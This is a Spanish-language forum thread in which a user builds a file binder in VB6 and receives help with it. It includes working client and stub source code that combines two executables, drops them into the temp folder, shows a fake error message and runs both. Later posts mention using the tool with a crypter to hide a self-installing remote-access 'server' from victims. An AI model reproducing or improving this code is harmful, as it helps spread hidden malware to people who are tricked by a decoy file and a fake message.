Hola a todos,
quisiera saber como ponerle encryptacion RC4 a un binder que estoy haciendo.
He mirado sources y he buscado tutoriales pero no encuentro ninguno con RC4...
Y no se que se tiene que hacer? primero bindearlos y luego encryptar o encryptar los 2 y juntarlos enfin. Nose como estructurarlo
si alguien me echa una mano, se lo agradeceria

Aqui les dejo el proyecto: [Enlace externo eliminado para invitados]
Pass: 123

Y tambien si alguien me ayudara al momento de bindearlo que pusiera el fake message tambien...
Asi ya tendria uno de ejemplo y ya me podria guiar mas.

Muchas gracias a todos de antemano.
Y si alguien quiere agregarme mi Skype es: Janpr99
Skype: Janpr99
Gracias Pink, ya tengo funcionando el binder como te dije, y me aclaraste muchas dudas la verdad, pensaba que sabia como funcionaban los binders pero andaba equivocado xD......
Aunque sigo sin entender como vincular el titulo del fake message del text3.text para que lo meta en el encryptado :S
Nose, si alguien me pudiese ayudar con esto

Muchas gracias a todos de antemano.
Skype: Janpr99
MM.. no funciona porque solo hay el binder, aqui lo dejo: Binder y Stub: [Enlace externo eliminado para invitados]

El cliente es el: Proyecto1,
El stub es el: Stub... xD

Tambien los he dejado compilados en la carpeta: Compilados xD... vale esto es todo

Entonces, ahora bindea correctamente, pero necesito ayuda porque no entiendo como poner el titulo del fake message. Es decir, solo se pone el texto.
Y tambien quisiera saber como vincular al stub el change icon :S...

Gracias de antemano!
Skype: Janpr99
mierda, olvide decir que lo subi con pass, la contraseña es: 123
link: [Enlace externo eliminado para invitados]
Skype: Janpr99
Bueno amigos, aun no lo he resuelto xD, el binder bindea perfecto, aunque necesitaria ayuda para vincular los fakes, entonces, yo tengo estes codes:

Cliente: (Codigo encryptar)

Código: Seleccionar todo

Private Sub Command3_Click()
Dim Resp As Integer
If CommonDialog1.FileName = "" And CommonDialog2.FileName = "" Then
MsgBox "Elige los 2 archivos a bindear", vbInformation, "Error"
Exit Sub

ElseIf CommonDialog1.FileName = "" Then
MsgBox "Elige el archivo1!", vbInformation, "Error"
Exit Sub

ElseIf CommonDialog2.FileName = "" Then
MsgBox "Elige el archivo2!", vbInformation, "Error"
Exit Sub

ElseIf Check2.Value = vbChecked And CommonDialog3.FileName = "" Then
MsgBox "Elige el icono o deshabilita la opcion!", vbInformation, "Error"
Exit Sub


    ElseIf Check1.Value = vbChecked And Text3.Text = "Escriba su Fake mensaje..." And Text4.Text = "Titulo del mensaje" Then
Resp = MsgBox("Esta seguro que quiere poner el fake message?", vbQuestion + vbYesNo + vbDefaultButton2, "No se ha cambiado el titulo del fake message")
If Resp = 7 Then
Exit Sub
End If
    End If


Dim Archivo1 As String
Dim Archivo2 As String
Dim Clavedeparticion As String

Open App.Path & "\Underc0de.exe" For Binary As #1
Archivo1 = Space(LOF(1))
Get #1, , Archivo1
Close #1

Open Text1.Text For Binary As #1
Archivo2 = Space(LOF(1))
Get #1, , Archivo2
Close #1

Dim buffer3 As String

Open Text2.Text For Binary As #1
buffer3 = Space(LOF(1))
Get #1, , buffer3
Close #1

Clavedeparticion = "PerezaxD2"
Dim Mensaje As String
Mensaje = Text3.Text
Dim Titulo As String
Titulo = Text4.Text

Open App.Path & "\Bindeado.exe" For Binary As #1
Put #1, , Archivo1
Put #1, , Clavedeparticion
Put #1, , Archivo2
Put #1, , Clavedeparticion
Put #1, , Titulo
Put #1, , Clavedeparticion
Put #1, , Mensaje
Put #1, , Clavedeparticion
Put #1, , buffer3
Put #1, , Clavedeparticion
Close #1

Image2.Visible = True
Image1.Visible = False
Timer1.Enabled = True

End Sub

CODIGO STUB

Código: Seleccionar todo

Sub Main()


Dim Archivo1 As String
Dim Cortararchivos() As String
Dim Clavedeparticion As String

Clavedeparticion = "PerezaxD2"


Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Archivo1 = Space(LOF(1))
Get #1, , Archivo1
Close #1


Cortararchivos = Split(Archivo1, Clavedeparticion)

Open Environ$("tmp") & "\Archivo1.exe" For Binary As #1
Put #1, , Cortararchivos(1)
Close #1

MsgBox Cortararchivos(2), vbInformation, "Error"

Open Environ$("tmp") & "\Archivo2.exe" For Binary As #1
Put #1, , Cortararchivos(3)
Close #1

Shell Environ$("tmp") & "\Archivo1.exe", vbNormalFocus
Shell Environ$("tmp") & "\Archivo2.exe", vbNormalFocus

End Sub



Entonces yo lo que quiero es agregarle el Titulo del fake message, y ademas, ponerlo opcional (en el cliente hay un check para el fake message) con el siguiente code:

Código: Seleccionar todo

Private Sub Check1_Click()
If Check1.Value = vbChecked Then
Label1.Caption = "Activado"
Text3.Enabled = True
Text4.Enabled = True
Text3.Text = "Escriba su Fake mensaje..."
Text4.Text = "Titulo del mensaje"
Combo1.Enabled = True
Command4.Enabled = True
Combo1.Text = "Critical"
Command4.Caption = "Testear"
Else
Text3.Text = "Fake Mensaje no establecido"
Text4.Text = "Fake Mensaje no establecido"
Text4.Enabled = False
Label1.Caption = "Desactivado"
Text3.Enabled = False
Combo1.Enabled = False
Command4.Enabled = False
Combo1.Text = "Desactivado"
Command4.Caption = "----"
End If
End Sub
OK, bueno solo para que se hagan una idea lo que pasa esk solo se ponerle el texto del fake pero no el titulo :S y tambien si alguien me ayudara a ponerlo opcional seria de gran ayuda, cualquier cosa que necesiten diganlo y pongo el code o algo ;)
Gracias de antemano
Skype: Janpr99
Es fácil, mira:

Al escribir los datos en el resultante mediante PUT, añade también Check1.Value (Put #1, , Check1.Value).

En el stub al separar los datos, lees el contenido (0, 1 ó 2) = 0: unchecked; 1: checked; 2: grayed;

If Split(archivo1, Clavedeparticion)(11) = "1" Then
'Leemos los splits del título y mensaje.. [...]

Lo aplicamos al msgbox siguiendo algo similar a este ejemplo:
MsgBox ("hola"), vbCritical, "titulo"

Sustituimos "hola" por el split del Mensaje, con "título" hacemos lo mismo.

Ah, con vbCritical (o el que especifiques), hacemos lo mismo, añadimos otro Put #1, , combo1.text

Lo lees con splits igual y haces algo tipo:

TipoMensaje = cortararchivos(13) '13 teniendo en cuenta que has ido separando cada dato con un delimitador

if tipomensaje = "critical" then tipomensaje = vbCritical 'Ejemplo!

Quedando finalmente el msgbox tal que así:

MsgBox (Texto), TipoMensaje, Titulo

Se puede hacer de muchas maneras, espero que comprendas ésta xD.

Un saludo!
UDTools.net
GitHub: https://github.com/MetalUDT
Metal, eres un genio :D
Me ha costado, he pasado aki como 2 horas intentando, pero al final, todo funciona!
Muchissimas graciass, si, comprendi esa manera y me va a ayudar mucho en otros proyectos,
Tu y Pink a creditos, Muchas gracias a los 2 :)
Skype: Janpr99
Metal_Kingdom escribió:Es fácil, mira:

Al escribir los datos en el resultante mediante PUT, añade también Check1.Value (Put #1, , Check1.Value).

En el stub al separar los datos, lees el contenido (0, 1 ó 2) = 0: unchecked; 1: checked; 2: grayed;

If Split(archivo1, Clavedeparticion)(11) = "1" Then
'Leemos los splits del título y mensaje.. [...]

Lo aplicamos al msgbox siguiendo algo similar a este ejemplo:
MsgBox ("hola"), vbCritical, "titulo"

Sustituimos "hola" por el split del Mensaje, con "título" hacemos lo mismo.

Ah, con vbCritical (o el que especifiques), hacemos lo mismo, añadimos otro Put #1, , combo1.text

Lo lees con splits igual y haces algo tipo:

TipoMensaje = cortararchivos(13) '13 teniendo en cuenta que has ido separando cada dato con un delimitador

if tipomensaje = "critical" then tipomensaje = vbCritical 'Ejemplo!

Quedando finalmente el msgbox tal que así:

MsgBox (Texto), TipoMensaje, Titulo

Se puede hacer de muchas maneras, espero que comprendas ésta xD.

Un saludo!
Sos capo man, que idioma es?

Buena explicacion xd
Indetectable.Net
Hola de nuevo, estube probando eso del fake message y va de lujo, solo tengo 1 duda, la question es que con los anotadores va genial pero cuando voy a encryptar un server, este fake sale 2 veces, y supongo que eso es porque el server, se copia en system32 o algun que otro sitio de la pc y vuelve a ejecutar, esta vez el real, el que va a autoremotearle entonces queria saber como hacer salir ese fake solo en la primera ejecucion es decir, el server de instalacion, ya que sino pasa eso :S...

Y eso es todo xD, si alguien sabe como hacerlo y puede explicarmelo pues seria genial :D

Bueno gracias por su ayuda ;)

PD: bueno esto en el binder no me pasa, me pasa en un crypter
Skype: Janpr99
Hombre, ahí ya necesito hacerte un par de preguntas:

1.) El Binder es RunTime?
2.) En caso de ser ScanTime, el Fake Message aparece tantas veces como ficheros añadiste?

Un saludo.
UDTools.net
GitHub: https://github.com/MetalUDT
Gracias por contestar, y bueno esta vez se lo estaba aplicando en un crypter runtime es decir, solo 1 archivo lo probe con un server, porque con un anotador, sale solo 1 vez pero con un server, sale 2 veces seguidas, yo creo que es porque el server cuando lo abres, se instala en la carpeta que el cliente le configuro y entonces vuelve a ejecutar el que remotea y creo que este vuelve a mostrar el fake pero no estoy seguro... no se si me di a entender si no entendieron algo, solo diganmelo ;) por cierto, muy buena explicacion! :D
Skype: Janpr99
Responder

Volver a “VB/.NET”